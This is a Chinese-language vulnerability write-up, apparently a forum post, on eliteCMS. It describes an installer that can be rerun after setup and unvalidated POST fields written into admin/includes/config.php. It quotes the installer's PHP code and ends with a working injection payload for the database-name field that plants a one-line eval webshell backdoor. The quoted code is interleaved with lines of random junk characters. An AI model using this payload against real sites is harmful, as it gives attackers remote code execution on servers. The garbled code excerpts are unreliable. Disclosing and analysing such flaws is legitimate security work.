eliteCMS安装文件未验证 + 一句话写入安全漏洞

admin

eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装
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另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
我们来看代码：

...
elseif ($_GET['step'] == "4") {
    $file = "../admin/includes/config.php";
/ K! B9 x" _- O- Z: U    $write = "<?php\n";
    $write .= "/**\n";
7 J6 ~+ E; \# I/ u( p  f! J, d    $write .= "*\n";
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
8 T3 t2 C; [) \...略...
, q1 N+ B4 _: [3 ?  [, ]    $write .= "*\n";
1 _4 Y5 ]  H' O" P( E$ V    $write .= "*/\n";
% W, w0 K. |/ l. _    $write .= "\n";
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
) O' V4 ^$ `& P  \7 ?3 o    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
' p4 y- _3 _- X; X) A3 w0 b6 A    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
: T, |0 M1 F% ~7 F) S! H+ {    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
    $write .= "if (!\$connection) {\n";
$ X! \/ O8 Y: a! [: f$ I' y    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
: X' `  E7 X# p  {( K    $write .= "        \n";
' ^0 w& {2 L4 \' c6 e/ @  p    $write .= "} \n";
+ V9 h' Y" w: a( \    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
4 t6 C) J; a, C- ]- Y    $write .= "if (!\$db_select) {\n";
    $write .= "        die(\"Database select failed\" .mysql_error());\n";
    $write .= "        \n";
    $write .= "} \n";
    $write .= "?>\n";

9 N1 I# x* H8 M# b    $writer = fopen($file, 'w');
...
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在看代码：

$ @2 }: g2 W2 J' ]2 b$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
( Q: M7 s. m( H* ]1 l5 J$ w$_SESSION['DB_USER'] = $_POST['DB_USER'];
- Y, y* i3 Y8 c" o7 i9 t, |$_SESSION['DB_PASS'] = $_POST['DB_PASS'];

取值未作任何验证
如果将数据库名POST数据：
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"?><?php eval($_POST[c]);?><?php

将导致一句话后门写入/admin/includes/config.php
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